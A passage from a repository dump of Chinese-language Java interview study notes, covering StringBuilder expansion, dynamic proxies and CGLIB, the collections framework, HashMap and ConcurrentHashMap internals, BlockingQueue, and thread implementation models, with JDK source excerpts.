}\n```\n\n`append`会直接拷贝字符到内部的字符数组中，如果字符数组长度不够，会进行扩展，实际使用的长度用`count`体现。具体来说，`ensureCapacityInternal(count+len)`会确保数组的长度足以容纳新添加的字符，`str.getChars`会拷贝新添加的字符到字符数组中，`count+=len`会增加实际使用的长度。\n\n`ensureCapacityInternal`的代码如下：\n```\n    private void ensureCapacityInternal(int minimumCapacity) {\n\n        if (minimumCapacity - value.length > 0)\n            expandCapacity(minimumCapacity);\n    }\n```\n\n如果字符数组的长度小于需要的长度，则调用`expandCapacity`进行扩展，`expandCapacity`的代码是：\n\n```\n    void expandCapacity(int minimumCapacity) {\n        int newCapacity = value.length * 2 + 2;\n        if (newCapacity - minimumCapacity < 0)\n            newCapacity = minimumCapacity;\n        if (newCapacity < 0) {\n            if (minimumCapacity < 0)\n                throw new OutOfMemoryError();\n            newCapacity = Integer.MAX_VALUE;\n        }\n        value = Arrays.copyOf(value, newCapacity);\n    }\n```\n扩展的逻辑是，分配一个足够长度的新数组，然后将原内容拷贝到这个新数组中，最后让内部的字符数组指向这个新数组，这个逻辑主要靠下面这句代码实现：\n\n```\n    value = Arrays.copyOf(value, newCapacity);\n```\n\n## toString实现\n\n字符串构建完后，我们来看toString代码：\n\n```\n    public String toString() {\n        return new String(value, 0, count);\n    }\n```\n基于内部数组新建了一个String，注意，**这个String构造方法不会直接用value数组，而会新建一个，以保证String的不可变性**。\n"
  },
  {
    "path": "docs/android/interview/java/7-proxy.md",
    "content": "# 代理\n\n[Java动态代理与CGLIB](http://www.importnew.com/22015.html)\n\n我们常说的代理分为静态代理和动态代理。\n\n  - 静态代理：代码中显式指定代理\n  - 动态代理：类比静态代理，可以发现，代理类不需要实现原接口了，而是实现InvocationHandler。\n\n\n### 静态代理\n\n因为需要对一些函数进行二次处理，或是某些函数不让外界知道时，可以使用代理模式，通过访问第三方，间接访问原函数的方式，达到以上目的。\n\n#### 弊端\n\n如果要想为多个类进行代理，则需要建立多个代理类，维护难度加大。\n\n仔细想想，为什么静态代理会有这些问题，是因为代理在编译期就已经决定，如果代理发生在运行期，这些问题解决起来就比较简单，所以动态代理的存在就很有必要了。\n\n### 动态代理\n\n当动态生成的代理类调用方法时，会触发 `invoke` 方法，在 `invoke` 方法中可以对被代理类的方法进行增强。\n\n通过动态代理可以很明显的看到它的好处，在使用静态代理时，如果不同接口的某些类想使用代理模式来实现相同的功能，将要实现多个代理类，但在动态代理中，只需要一个代理类就好了。\n\n除了省去了编写代理类的工作量，动态代理实现了可以在原始类和接口还未知的时候，就确定代理类的代理行为，当代理类与原始类脱离直接联系后，就可以很灵活地重用于不同的应用场景中。\n\n  - 继承了Proxy类，实现了代理的接口，由于java不能多继承，这里已经继承了Proxy类了，不能再继承其他的类，所以JDK的动态代理不支持对实现类的代理，只支持接口的代理。\n  - 提供了一个使用InvocationHandler作为参数的构造方法。\n  - 生成静态代码块来初始化接口中方法的Method对象，以及Object类的equals、hashCode、toString方法\n\n#### 弊端\n\n代理类和委托类需要都实现同一个接口。也就是说只有实现了某个接口的类可以使用Java动态代理机制。但是，事实上使用中并不是遇到的所有类都会给你实现一个接口。因此，对于没有实现接口的类，就不能使用该机制。\n\n### 动态代理与静态代理的区别\n\n- Proxy类的代码被固定下来，不会因为业务的逐渐庞大而庞大；\n- 可以实现AOP编程，这是静态代理无法实现的；\n- 解耦，如果用在web业务下，可以实现数据层和业务层的分离。\n- 动态代理的优势就是实现无侵入式的代码扩展。\n- 静态代理这个模式本身有个大问题，如果类方法数量越来越多的时候，代理类的代码量是十分庞大的。所以引入动态代理来解决此类问题\n\n## [CGLib](http://blog.csdn.net/danchu/article/details/70238002)\n\ncglib 是针对类来实现代理的，他的 **原理是对指定的目标类生成一个子类，并覆盖其中方法实现增强，但因为采用的是继承，所以不能对final修饰的类进行代理**。\n\nCGLIB 代理主要通过对字节码的操作，为对象引入间接级别，以控制对象的访问。CGLIB底层使用了ASM（一个短小精悍的字节码操作框架）来操作字节码生成新的类。\n\n## CGLIB和Java动态代理的区别\n\n  - Java动态代理只能够对接口进行代理，不能对普通的类进行代理（因为所有生成的代理类的父类为Proxy，Java类继承机制不允许多重继承）；CGLIB能够代理普通类；\n\n  - Java动态代理使用Java原生的反射API进行操作，在生成类上比较高效；CGLIB使用ASM框架直接对字节码进行操作，在类的执行过程中比较高效\n"
  },
  {
    "path": "docs/android/interview/java/README.md",
    "content": "# Java"
  },
  {
    "path": "docs/android/interview/java/collection/1-collection.md",
    "content": "# 集合框架\n\nJava集合框架提供了数据持有对象的方式，提供了对数据集合的操作。Java集合框架位于`java.util`包下，主要有三个大类：`Collection`、`Map`接口以及对集合进行操作的工具类。\n\n## Collection\n\n![](images/collection.png)\n\n- List\n  - `ArrayList`：线程不同步。默认初始容量为10，当数组大小不足时增长率为当前长度的`50%`。\n  - `Vector`：**线程同步**。默认初始容量为10，当数组大小不足时增长率为当前长度的`100%`。它的同步是通过`Iterator`方法加`synchronized`实现的。\n  - `Stack`：**线程同步**。继承自`Vector`，添加了几个方法来完成栈的功能。\n  - `LinkedList`：线程不同步。**双端队列形式**。\n- `Set`：Set是一种不包含重复元素的Collection，Set最多只有一个null元素。\n  - `HashSet`：线程不同步，内部使用`HashMap`进行数据存储，提供的方法基本都是调用`HashMap`的方法，所以两者本质是一样的。**集合元素可以为**`NULL`。\n  - `NavigableSet`：添加了搜索功能，可以对给定元素进行搜索：小于、小于等于、大于、大于等于，放回一个符合条件的最接近给定元素的 key。\n  - `TreeSet`：线程不同步，内部使用`NavigableMap`操作。默认元素“自然顺序”排列，可以通过`Comparator`改变排序。\n  - `EnumSet`：线程不同步。内部使用Enum数组实现，速度比`HashSet`快。**只能存储在构造函数传入的枚举类的枚举值**。\n\n## Map\n\n![](images/map.png)\n\n- `HashMap`：线程不同步。根据`key`的`hashcode`进行存储，内部使用静态内部类`Node`的数组进行存储，默认初始大小为16，每次扩大一倍。当发生Hash冲突时，采用拉链法（链表）。**可以接受为null的键值\\(key\\)和值\\(value\\)**。JDK 1.8中：当单个桶中元素个数大于等于8时，链表实现改为红黑树实现；当元素个数小于6时，变回链表实现。由此来防止hashCode攻击。\n- `LinkedHashMap`：**保存了记录的插入顺序**，在用Iterator遍历LinkedHashMap时，先得到的记录肯定是先插入的. 也可以在构造时用带参数，按照应用次数排序。在遍历的时候会比HashMap慢，不过有种情况例外，当HashMap容量很大，实际数据较少时，遍历起来可能会比LinkedHashMap慢，因为LinkedHashMap的遍历速度只和实际数据有关，和容量无关，而HashMap的遍历速度和他的容量有关。\n- `TreeMap`：线程不同步，基于 **红黑树*- （Red-Black tree）的NavigableMap 实现，**能够把它保存的记录根据键排序,默认是按键值的升序排序，也可以指定排序的比较器，当用Iterator 遍历TreeMap时，得到的记录是排过序的。**\n- `HashTable`：线程安全，HashMap的迭代器\\(Iterator\\)是`fail-fast`迭代器。**HashTable不能存储NULL的key和value。**\n- `ConcurrentHashmap`：支持并发操作的 Hash 表，`ConcurrentHashmap` 具有和 `HashTable` 同样的功能，并且具有相应的方法。即使所有操作都是线程安全的，但是并不需要进行加锁。\n\n## 工具类\n\n- `Collections`、`Arrays`：集合类的一个工具类\\/帮助类，其中提供了一系列静态方法，用于对集合中元素进行排序、搜索以及线程安全等各种操作。\n- `Comparable`、`Comparator`：一般是用于对象的比较来实现排序，两者略有区别。\n  > - 类设计者没有考虑到比较问题而没有实现Comparable接口。这是我们就可以通过使用Comparator，这种情况下，我们是不需要改变对象的。\n  > - 一个集合中，我们可能需要有多重的排序标准，这时候如果使用Comparable就有些捉襟见肘了，可以自己继承Comparator提供多种标准的比较器进行排序。\n"
  },
  {
    "path": "docs/android/interview/java/collection/2-HashMap.md",
    "content": "# [HashMap](https://yikun.github.io/2015/04/01/Java-HashMap%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86%E5%8F%8A%E5%AE%9E%E7%8E%B0/)\n\n在get和put的过程中，计算下标时，先对hashCode进行hash操作，然后再通过hash值进一步计算下标，如下图所示：\n\n![](images/2-HashMap-4d03d.png)\n\n在对`hashCode()`计算hash时具体实现是这样的：\n\n```\nstatic final int hash(Object key) {\n    int h;\n    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);\n}\n```\n> 可以看到这个函数大概的作用就是：高16bit不变，低16bit和高16bit做了一个异或。\n\n在设计hash函数时，因为目前的table长度n为2的幂，而计算下标的时候，是这样实现的(使用&位操作，而非%求余)。设计者认为这方法很容易发生碰撞。为什么这么说呢？不妨思考一下，在`n - 1`为`15(0x1111)`时，其实散列真正生效的只是低`4bit`的有效位，当然容易碰撞了。\n\n因此，设计者想了一个顾全大局的方法(综合考虑了速度、作用、质量)，就是把高`16bit`和低`16bit`异或了一下。设计者还解释到因为现在大多数的`hashCode`的分布已经很不错了，就算是发生了碰撞也用`O(logn)`的tree去做了。仅仅异或一下，既减少了系统的开销，也不会造成的因为高位没有参与下标的计算(table长度比较小时)，从而引起的碰撞。\n\n如果还是产生了频繁的碰撞，会发生什么问题呢？作者注释说，他们使用树来处理频繁的碰撞(we use trees to handle large sets of collisions in bins)，在JEP-180中，描述了这个问题：\n\n>Improve the performance of java.util.HashMap under high hash-collision conditions by using balanced trees rather than linked lists to store map entries. Implement the same improvement in the LinkedHashMap class.\n\n之前已经提过，在获取HashMap的元素时，基本分两步：\n\n  - 首先根据hashCode()做hash，然后确定bucket的index；\n  - 如果bucket的节点的key不是我们需要的，则通过keys.equals()在链中找。\n\n在Java 8之前的实现中是用链表解决冲突的，在产生碰撞的情况下，进行get时，两步的时间复杂度是O(1)+O(n)。因此，当碰撞很厉害的时候n很大，O(n)的速度显然是影响速度的。因此在Java 8中，如果一个bucket中碰撞冲突的元素超过某个限制(默认是8)，则使用红黑树来替换链表，这样复杂度就变成了`O(1)+O(logn)`了，这样在n很大的时候，能够比较理想的解决这个问题，在[Java 8：HashMap的性能提升](http://www.importnew.com/14417.html)一文中有性能测试的结果。\n\n## Resize\n\n当`put`时，如果发现目前的bucket占用程度已经超过了`Load Factor`所希望的比例，那么就会发生`resize`。在`resize`的过程，简单的说就是把`bucket`扩充为2倍，之后重新计算`index`，把节点再放到新的`bucket`中。`resize`的注释是这样描述的：\n\n> Initializes or doubles table size. If null, allocates in accord with initial capacity target held in field threshold. Otherwise, because we are using power-of-two expansion, the elements from each bin must either stay at same index, or move with a power of two offset in the new table.\n\n大致意思就是说，当超过限制的时候会`resize`，然而又因为我们使用的是2次幂的扩展(指长度扩为原来2倍)，所以，元素的位置要么是在原位置，要么是在原位置再移动2次幂的位置。例如我们从16扩展为32时，具体的变化如下所示：\n\n![](images/2-HashMap-7bdc9.png)\n\n因此元素在重新计算hash之后，因为n变为2倍，那么n-1的mask范围在高位多1bit(红色)，因此新的index就会发生这样的变化：\n![](images/2-HashMap-03719.png)\n\n因此，我们在扩充HashMap的时候，不需要重新计算hash，只需要看看原来的hash值新增的那个bit是1还是0就好了，是0的话索引没变，是1的话索引变成“`原索引+oldCap`”。可以看看下图为16扩充为32的resize示意图：\n\n![](images/2-HashMap-4fb68.png)\n\n这个设计确实非常的巧妙，既省去了重新计算hash值的时间，而且同时，由于新增的1bit是0还是1可以认为是随机的，因此resize的过程，均匀的把之前的冲突的节点分散到新的bucket了。\n\n## 并发问题\n\n[疫苗：JAVA HASHMAP的死循环](https://coolshell.cn/articles/9606.html)\n\n在 `HashMap` Resize的过程中由于本身并不是线程安全，有可能出现死锁的问题。\n"
  },
  {
    "path": "docs/android/interview/java/collection/3-Concurrenthashmap.md",
    "content": "# [ConcurrentHashmap](https://crossoverjie.top/2018/07/23/java-senior/ConcurrentHashMap/)\n\n## JDK1.7\n\n`ConcurrentHashMap`的锁分段技术：假如容器里有多把锁，每一把锁用于锁容器其中一部分数据，那么当多线程访问容器里不同数据段的数据时，线程间就不会存在锁竞争，从而可以有效的提高并发访问效率，这就是`ConcurrentHashMap`所使用的锁分段技术。首先将数据分成一段一段的存储，然后给每一段数据配一把锁，当一个线程占用锁访问其中一个段数据的时候，其他段的数据也能被其他线程访问。\n\n> `ConcurrentHashMap`不允许`Key`或者`Value`的值为`NULL`。ConcurrentMaps中不允许空值的主要原因是，在非并发映射中几乎不能容忍的模糊性是无法容纳的。主要的一点是如果`map.get（key）`返回`null`，则无法检测密钥是否显式映射为null而密钥未映射。 在非并发映射中，您可以通过`map.contains（key）`进行检查，但在并发映射中，映射可能在调用之间发生了变化。\n\n![](images/ConcurrentHashMap.png)\n\n### Segment类\n\n#### Put\n\n将一个HashEntry放入到该`Segment`中，使用自旋机制，减少了加锁的可能性。\n\n```Java\nfinal V put(K key, int hash, V value, boolean onlyIfAbsent) {\n    HashEntry<K,V> node = tryLock() ? null :\n        scanAndLockForPut(key, hash, value); //如果加锁失败，则调用该方法\n    V oldValue;\n    try {\n        HashEntry<K,V>[] tab = table;\n        int index = (tab.length - 1) & hash; //同hashMap相同的哈希定位方式\n        HashEntry<K,V> first = entryAt(tab, index);\n        for (HashEntry<K,V> e = first;;) {\n            if (e != null) {\n        //若不为null，则持续查找，知道找到key和hash值相同的节点，将其value更新\n                K k;\n                if ((k = e.key) == key ||\n                    (e.hash == hash && key.equals(k))) {\n                    oldValue = e.value;\n                    if (!onlyIfAbsent) {\n                        e.value = value;\n                        ++modCount;\n                    }\n                    break;\n                }\n                e = e.next;\n            }\n            else { //若头结点为null\n                if (node != null) //在遍历key对应节点链时没有找到相应的节点\n                    node.setNext(first);\n                    //当前修改并不需要让其他线程知道，在锁退出时修改自然会\n                    //更新到内存中,可提升性能\n                else\n                    node = new HashEntry<K,V>(hash, key, value, first);\n                int c = count + 1;\n                if (c > threshold && tab.length < MAXIMUM_CAPACITY)\n                    rehash(node); //如果超过阈值，则进行rehash操作\n                else\n                    setEntryAt(tab, index, node);\n                ++modCount;\n                count = c;\n                oldValue = null;\n                break;\n            }\n        }\n    } finally {\n        unlock();\n    }\n    return oldValue;\n}\n```\n\n#### scanAndLockForPut\n\n该操作持续查找key对应的节点链中是否已存在该节点，如果没有找到已存在的节点，则预创建一个新节点，并且尝试n次，直到尝试次数超出限制，才真正进入等待状态，即所谓的 **自旋等待**。\n\n```Java\nprivate HashEntry<K,V> scanAndLockForPut(K key, int hash, V value) {\n    //根据hash值找到segment中的HashEntry节点\n    HashEntry<K,V> first = entryForHash(this, hash); //首先获取头结点\n    HashEntry<K,V> e = first;\n    HashEntry<K,V> node = null;\n    int retries = -1; // negative while locating node\n    while (!tryLock()) {  //持续遍历该哈希链\n        HashEntry<K,V> f; // to recheck first below\n        if (retries < 0) {\n            if (e == null) {\n                if (node == null) //若不存在要插入的节点，则创建一个新的节点\n                    node = new HashEntry<K,V>(hash, key, value, null);\n                retries = 0;\n            }\n            else if (key.equals(e.key))\n                retries = 0;\n            else\n                e = e.next;\n        }\n        else if (++retries > MAX_SCAN_RETRIES) {\n        //尝试次数超出限制，则进行自旋等待\n            lock();\n            break;\n        }\n        /*当在自旋过程中发现节点链的链头发生了变化，则更新节点链的链头，\n        并重置retries值为－1，重新为尝试获取锁而自旋遍历*/\n        else if ((retries & 1) == 0 &&\n                 (f = entryForHash(this, hash)) != first) {\n            e = first = f; // re-traverse if entry changed\n            retries = -1;\n        }\n    }\n    return node;\n}\n```\n\n#### remove\n\n用于移除某个节点，返回移除的节点值。\n\n```Java\nfinal V remove(Object key, int hash, Object value) {\n    if (!tryLock())\n        scanAndLock(key, hash);\n    V oldValue = null;\n    try {\n        HashEntry<K,V>[] tab = table;\n        int index = (tab.length - 1) & hash;\n        //根据这种哈希定位方式来定位对应的HashEntry\n        HashEntry<K,V> e = entryAt(tab, index);\n        HashEntry<K,V> pred = null;\n        while (e != null) {\n            K k;\n            HashEntry<K,V> next = e.next;\n            if ((k = e.key) == key ||\n                (e.hash == hash && key.equals(k))) {\n                V v = e.value;\n                if (value == null || value == v || value.equals(v)) {\n                    if (pred == null)\n                        setEntryAt(tab, index, next);\n                    else\n                        pred.setNext(next);\n                    ++modCount;\n                    --count;\n                    oldValue = v;\n                }\n                break;\n            }\n            pred = e;\n            e = next;\n        }\n    } finally {\n        unlock();\n    }\n    return oldValue;\n}\n```\n\n#### Clear\n\n要首先对整个`segment`加锁，然后将每一个`HashEntry`都设置为`null`。\n\n```Java\nfinal void clear() {\n    lock();\n    try {\n        HashEntry<K,V>[] tab = table;\n        for (int i = 0; i < tab.length ; i++)\n            setEntryAt(tab, i, null);\n        ++modCount;\n        count = 0;\n    } finally {\n        unlock();\n    }\n}\n```\n\n### Put\n\n```Java\npublic V put(K key, V value) {\n    Segment<K,V> s;\n    if (value == null)\n        throw new NullPointerException();\n    int hash = hash(key); //求出key的hash值\n    int j = (hash >>> segmentShift) & segmentMask;\n    //求出key在segments数组中的哪一个segment中\n    if ((s = (Segment<K,V>)UNSAFE.getObject           \n         (segments, (j << SSHIFT) + SBASE)) == null)  \n        s = ensureSegment(j); //使用unsafe操作取出该segment\n    return s.put(key, hash, value, false); //向segment中put元素\n}\n```\n\n### Get\n\n```Java\npublic V get(Object key) {\n    Segment<K,V> s;\n    HashEntry<K,V>[] tab;\n    int h = hash(key); //找出对应的segment的位置\n    long u = (((h >>> segmentShift) & segmentMask) << SSHIFT) + SBASE;\n    if ((s = (Segment<K,V>)UNSAFE.getObjectVolatile(segments, u)) != null &&\n        (tab = s.table) != null) {  //使用Unsafe获取对应的Segmen\n        for (HashEntry<K,V> e = (HashEntry<K,V>) UNSAFE.getObjectVolatile\n                 (tab, ((long)(((tab.length - 1) & h)) << TSHIFT) + TBASE);\n             e != null; e = e.next) { //找出对应的HashEntry，从头开始遍历\n            K k;\n            if ((k = e.key) == key || (e.hash == h && key.equals(k)))\n                return e.value;\n        }\n    }\n    return null;\n}\n```\n\n### Size\n\n求出所有的HashEntry的数目，**先尝试的遍历查找、计算2遍**，如果两遍遍历过程中整个Map没有发生修改（即两次所有Segment实例中modCount值的和一致），则可以认为整个查找、计算过程中Map没有发生改变。否则,需要对所有segment实例进行加锁、计算、解锁，然后返回。\n\n```Java\npublic int size() {\n\n   final Segment<K,V>[] segments = this.segments;\n   int size;\n   boolean overflow; // true if size overflows 32 bits\n   long sum;         // sum of modCounts\n   long last = 0L;   // previous sum\n   int retries = -1; // first iteration isn't retry\n   try {\n       for (;;) {\n           if (retries++ == RETRIES_BEFORE_LOCK) {\n               for (int j = 0; j < segments.length; ++j)\n                   ensureSegment(j).lock(); // force creation\n           }\n           sum = 0L;\n           size = 0;\n           overflow = false;\n           for (int j = 0; j < segments.length; ++j) {\n               Segment<K,V> seg = segmentAt(segments, j);\n               if (seg != null) {\n                   sum += seg.modCount;\n                   int c = seg.count;\n                   if (c < 0 || (size += c) < 0)\n                       overflow = true;\n               }\n           }\n           if (sum == last)\n               break;\n           last = sum;\n       }\n   } finally {\n       if (retries > RETRIES_BEFORE_LOCK) {\n           for (int j = 0; j < segments.length; ++j)\n               segmentAt(segments, j).unlock();\n       }\n   }\n   return overflow ? Integer.MAX_VALUE : size;\n}\n```\n\n## JDK1.8\n\n在JDK1.8中对ConcurrentHashmap做了两个改进：\n\n  - 取消`segments`字段，直接采用`transient volatile HashEntry<K,V>[] table`保存数据，**采用table数组元素作为锁，从而实现了对每一行数据进行加锁，进一步减少并发冲突的概率**。\n\n  - 将原先 **table数组＋单向链表** 的数据结构，变更为 **table数组＋单向链表＋红黑树** 的结构。对于hash表来说，最核心的能力在于将key hash之后能均匀的分布在数组中。如果hash之后散列的很均匀，那么table数组中的每个队列长度主要为0或者1。但实际情况并非总是如此理想，虽然ConcurrentHashMap类默认的加载因子为0.75，但是在数据量过大或者运气不佳的情况下，还是会存在一些队列长度过长的情况，如果还是采用单向列表方式，那么查询某个节点的时间复杂度为O(n)；因此，对于个数超过8(默认值)的列表，jdk1.8中采用了红黑树的结构，那么查询的时间复杂度可以降低到O(logN)，可以改进性能。\n\n### Put\n\n```java\nfinal V putVal(K key, V value, boolean onlyIfAbsent) {\n    if (key == null || value == null) throw new NullPointerException();\n    // 得到 hash 值\n    int hash = spread(key.hashCode());\n    // 用于记录相应链表的长度\n    int binCount = 0;\n    for (Node<K,V>[] tab = table;;) {\n        Node<K,V> f; int n, i, fh;\n        // 如果数组\"空\"，进行数组初始化\n        if (tab == null || (n = tab.length) == 0)\n            // 初始化数组，后面会详细介绍\n            tab = initTable();\n\n        // 找该 hash 值对应的数组下标，得到第一个节点 f\n        else if ((f = tabAt(tab, i = (n - 1) & hash)) == null) {\n            // 如果数组该位置为空，\n            //    用一次 CAS 操作将这个新值放入其中即可，这个 put 操作差不多就结束了，可以拉到最后面了\n            //          如果 CAS 失败，那就是有并发操作，进到下一个循环就好了\n            if (casTabAt(tab, i, null,\n                         new Node<K,V>(hash, key, value, null)))\n                break;                   // no lock when adding to empty bin\n        }\n        // hash 居然可以等于 MOVED，这个需要到后面才能看明白，不过从名字上也能猜到，肯定是因为在扩容\n        else if ((fh = f.hash) == MOVED)\n            // 帮助数据迁移，这个等到看完数据迁移部分的介绍后，再理解这个就很简单了\n            tab = helpTransfer(tab, f);\n\n        else { // 到这里就是说，f 是该位置的头结点，而且不为空\n\n            V oldVal = null;\n            // 获取数组该位置的头结点的监视器锁\n            synchronized (f) {\n                if (tabAt(tab, i) == f) {\n                    if (fh >= 0) { // 头结点的 hash 值大于 0，说明是链表\n                        // 用于累加，记录链表的长度\n                        binCount = 1;\n                        // 遍历链表\n                        for (Node<K,V> e = f;; ++binCount) {\n                            K ek;\n                            // 如果发现了\"相等\"的 key，判断是否要进行值覆盖，然后也就可以 break 了\n                            if (e.hash == hash &&\n                                ((ek = e.key) == key ||\n                                 (ek != null && key.equals(ek)))) {\n                                oldVal = e.val;\n                                if (!onlyIfAbsent)\n                                    e.val = value;\n                                break;\n                            }\n                            // 到了链表的最末端，将这个新值放到链表的最后面\n                            Node<K,V> pred = e;\n                            if ((e = e.next) == null) {\n                                pred.next = new Node<K,V>(hash, key,\n                                                          value, null);\n                                break;\n                            }\n                        }\n                    }\n                    else if (f instanceof TreeBin) { // 红黑树\n                        Node<K,V> p;\n                        binCount = 2;\n                        // 调用红黑树的插值方法插入新节点\n                        if ((p = ((TreeBin<K,V>)f).putTreeVal(hash, key,\n                                                       value)) != null) {\n                            oldVal = p.val;\n                            if (!onlyIfAbsent)\n                                p.val = value;\n                        }\n                    }\n                }\n            }\n\n            if (binCount != 0) {\n                // 判断是否要将链表转换为红黑树，临界值和 HashMap 一样，也是 8\n                if (binCount >= TREEIFY_THRESHOLD)\n                    // 这个方法和 HashMap 中稍微有一点点不同，那就是它不是一定会进行红黑树转换，\n                    // 如果当前数组的长度小于 64，那么会选择进行数组扩容，而不是转换为红黑树\n                    //    具体源码我们就不看了，扩容部分后面说\n                    treeifyBin(tab, i);\n                if (oldVal != null)\n                    return oldVal;\n                break;\n            }\n        }\n    }\n    //\n    addCount(1L, binCount);\n    return null;\n}\n```\n\n### Get\n\n  - 计算 hash 值\n  - 根据 hash 值找到数组对应位置: (n - 1) & h\n  - 根据该位置处结点性质进行相应查找\n    - 如果该位置为 null，那么直接返回 null 就可以了\n    - 如果该位置处的节点刚好就是我们需要的，返回该节点的值即可\n    - 如果该位置节点的 hash 值小于 0，说明正在扩容，或者是红黑树，后面我们再介绍 find 方法\n    - 如果以上 3 条都不满足，那就是链表，进行遍历比对即可\n"
  },
  {
    "path": "docs/android/interview/java/collection/4-BlockQueue.md",
    "content": "# [BlockingQueue](http://www.importnew.com/28053.html)\n\n`BlockingQueue` 支持当获取队列元素但是队列为空时，会阻塞等待队列中有元素再返回；也支持添加元素时，如果队列已满，那么等到队列可以放入新元素时再放入。\n\n其提供了4种类型的方法：\n\n|         | _Throws exception_ | _Special value_ | _Blocks_         | _Times out_          |  \n| ------- | ------------------ | --------------- | ---------------- | -------------------- |  \n| Insert  | add(e)             | offer(e)        | put(e)           | offer(e, time, unit) |  \n| Remove  | remove()           | poll()          | take()           | poll(time, unit)     |  \n| Examine | element()          | peek()          | _not applicable_ | _not applicable_     |  \n\n`BlockingQueue`不接受 `null` 元素。所有实现应当抛出 `NullPointerException` 在所有的 `add`,`put`以及`offer`方法上。`null`被用来标记`poll`失败。\n\n在任意时刻，当有界`BlockingQueue` 队列元素放满之后，所有的元素都将在放入的时候阻塞。无界`BlockingQueue` 没有任何容量限制，容量大小始终是`Integer.MAX_VALUE`。\n\n`BlockingQueue`的实现是用于 `生产者-消费者` 的队列，同时也支持 `Collection` 接口。所以可通过`remove(x)`来移除队列里的一个元素。通常情况下，这样的操作效率不是很好，只在诸如队列消息被取消的情况下才会偶尔使用。\n\n`BlockingQueue` 的实现都是线程安全的。所有 `queue` 的方法都需要通过内部锁机制或者其他形式来进行并发控制来实现其原子操作。然而，`Collection` 接口的方法，比如：**`addAll, containsAll, retainAll` 以及 `removeAll` 都没有必要进行原子操作**，除非实现类有特别说明。所以对于`addAll(c)`有可能在添加部分`c`元素后抛出异常。\n\n`BlockingQueue` 本质上不支持任何的 `close` 或者 `shutdown` 操作，来表明不会有新的元素添加。如果需要这些特性，得实现类来支持。\n\n## ArrayBlockingQueue\n\n`ArrayBlockingQueue` 是底层由数组存储的有界队列。遵循FIFO，所以在队首的元素是在队列中等待时间最长的，而在队尾的则是最短时间的元素。新元素被插入到队尾，队列的取出 操作队首元素。\n\n这是一个经典的有界缓存，由一个长度确定的数组持有所有由生产者插入、由消费者取出的元素。一旦创建，整个队列的容量将不会改变。尝试向一个已满的队列 `put` 将会导致调用被阻塞，同样的向一个空队列 `take` 也会阻塞。\n\n该队列支持队等待的生产者和消费者实施可选的公平策略。默认情况下，是非公平策略。可以通过构造函数来指定是否进行公平策略。一般情况下公平策略会减小吞吐量，但是也会降低可变性以及防止饥饿效应。\n\n### 实现\n\n`ArrayBlockingQueue` 内部使用了 `ReentrantLock` 以及两个 `Condition` 来实现。\n\n```java\n/** Main lock guarding all access */\nfinal ReentrantLock lock;\n/** Condition for waiting takes */\nprivate final Condition notEmpty;\n/** Condition for waiting puts */\nprivate final Condition notFull;\n```\n\n`PUT` 方法也很简单，就是 `Condition` 的应用。\n\n```java\npublic void put(E e) throws InterruptedException {\n    checkNotNull(e);\n    final ReentrantLock lock = this.lock;\n    lock.lockInterruptibly();\n    try {\n      //队列已满，wait 在 condition 上\n        while (count == items.length)\n            notFull.await();\n        enqueue(e);\n    } finally {\n        lock.unlock();\n    }\n}\n```\n\n`take` 方法也同样的。\n```java\npublic E take() throws InterruptedException {\n    final ReentrantLock lock = this.lock;\n    lock.lockInterruptibly();\n    try {\n      //队列为空，wait 在 condition 上\n        while (count == 0)\n            notEmpty.await();\n        return dequeue();\n    } finally {\n        lock.unlock();\n    }\n}\n```\n"
  },
  {
    "path": "docs/android/interview/java/concurrent/1-thread.md",
    "content": "# Java线程\n\n## 线程定义\n\n**线程（英语：thread）是操作系统能够进行运算调度的最小单位。它被包含在进程之中，是进程中的实际运作单位。一条线程指的是进程中一个单一顺序的控制流，一个进程中可以并发多个线程，每条线程并行执行不同的任务**。在`Unix System V`及`SunOS`中也被称为轻量进程（`lightweight processes`），但轻量进程更多指内核线程（`kernel thread`），而把用户线程（`user thread`）称为线程。\n\n线程是独立调度和分派的基本单位。线程可以操作系统内核调度的内核线程，如Win32线程；由用户进程自行调度的用户线程，如Linux平台的`POSIX Thread`；或者由内核与用户进程，如Windows 7的线程，进行混合调度。\n\n同一进程中的多条线程将共享该进程中的全部系统资源，如虚拟地址空间，文件描述符和信号处理等等。但同一进程中的多个线程有各自的调用栈（`call stack`），自己的寄存器环境（`register context`），自己的线程本地存储（`thread-local storage`）。\n\n一个进程可以有很多线程，每条线程并行执行不同的任务。\n\n## 线程实现\n\nJava中的线程都是调用的原生系统的本地函数，Java线程模型是基于操作系统原生线程模型实现的，实现线程有三种方式：内核线程实现、用户线程实现、混合线程实现。\n\n### 内核线程实现\n\n直接由操作系统内核支持的线程，通过内核来完成进程切换。每个内核线程就是一个内核的分身，这样操作系统就可以同时处理多件事情，支持多线程的内核被称为多线程内核。\n\n程序一般不直接使用内核线程，而是使用一种高级接口——轻量级进程，轻量级进程就是我们通常意义上的线程，可以获得内核线程的支持，与内核线程构成`1:1`的线程模型。\n\n![](images/thread_1.jpg)\n\n由于得到内核线程的支持，每个轻量级进程都成为一个独立的调度单元，即时有一个轻量级进程在系统调用中阻塞，也不会影响整个进程，但也有其局限性：由于是基于内核线程实现的，各种操作，如创建、销毁及同步，都需要进行系统调用。而系统调用代价较高，需要在内核态和用户态来回切换。\n\n### 用户线程实现\n\n从广义上说，一个线程不是内核线程，就是用户线程，所以轻量级进程也属于用户线程。狭义的用户线程是指完全建立在用户空间上的，系统内核不能感知到其存在。\n\n用户线程的创建、同步、销毁和调度都是在用户空间实现的，因此相对较快，代价相对较低。这种用户线程和进程是`N:1`的线程模型。\n\n![](images/thread_2.jpg)\n\n由于用户线程没有内核的支持，线程的创建、切换和调度是需要自己实现的，而且由于操作系统只把CPU资源分配到进程，那诸如“阻塞如何处理”、“多处理器系统中如何将线程映射到其他处理器”这类问题解决起来异常复杂。\n\n### 混合实现\n\n这种实现模式将内核线程与用户线程一起使用，在这种方式下既存在用户线程，也存在轻量级进程。用户线程还是完全建立在用户空间，因此用户线程的创建、切换等操作依旧低廉。而操作系统提供的轻量级进程则作为用户线程和内核线程的桥梁，这样就可以使用内核提供的线程调度及处理器映射。这种实现下，用户线程和轻量级进程是`M:N`的模式。\n\n![](images/thread_3.jpg)\n\n## Java线程调度\n\n线程调度分为协同式和抢占式。\n\n  * `协同式调度`：线程的执行时间由线程自己控制，这种的实现很简单，但是很可能造成很严重的后果。\n  * 